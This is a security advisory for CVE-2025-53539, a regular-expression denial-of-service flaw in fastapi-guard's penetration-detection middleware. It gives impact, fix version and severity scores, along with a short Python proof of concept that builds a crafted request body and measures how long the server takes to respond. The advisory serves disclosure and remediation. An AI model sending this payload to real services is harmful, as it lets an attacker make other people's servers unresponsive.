CVE-2025-53539
fastapi-guard is vulnerable to ReDoS through inefficient regex
Description
### Summary fastapi-guard detects penetration attempts by using regex patterns to scan incoming requests. However, some of the regex patterns used in detection are extremely inefficient and can cause polynomial complexity backtracks when handling specially crafted inputs. It is not as severe as _exponential_ complexity ReDoS, but still downgrades performance and allows DoS exploits. An attacker can trigger high cpu usage and make a service unresponsive for hours by sending a single request in size of KBs. ### PoC e.g. https://github.com/rennf93/fastapi-guard/blob/1e6c2873bfc7866adcbe5fc4da72f2d79ea552e7/guard/handlers/suspatterns_handler.py#L31C79-L32C7 ```python payload = lambda n: '<'*n+ ' '*n+ 'style=' + '"'*n + ' '*n+ 'url('*n # complexity: O(n^5) print(requests.post("http://172.24.1.3:8000/", data=payload(50)).elapsed) # 0:00:03.771120 print(requests.post("http://172.24.1.3:8000/", data=payload(100)).elapsed) # 0:01:17.952637 print(requests.post("http://172.24.1.3:8000/", data=payload(200)).elapsed) # timeout (>15min) ``` Single-threaded uvicorn workers can not handle any other concurrent requests during the elapsed time. ### Impact Penetration detection is enabled by default. Services that use fastapi-guard middleware without explicitly setting `enable_penetration_detection=False` are vulnerable to DoS.
How to fix CVE-2025-53539
To remediate CVE-2025-53539, upgrade the affected package to a fixed version below.
- —upgrade to 3.0.1 or later
Is CVE-2025-53539 being exploited?
Low — EPSS is 0.5%, meaning exploitation activity has not been observed at scale.
Affected packages (1)
- from 0, < 3.0.1
CVSS scores
| Source | Version | Severity | Vector |
|---|---|---|---|
| osv | CVSS 4.0 | — | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N |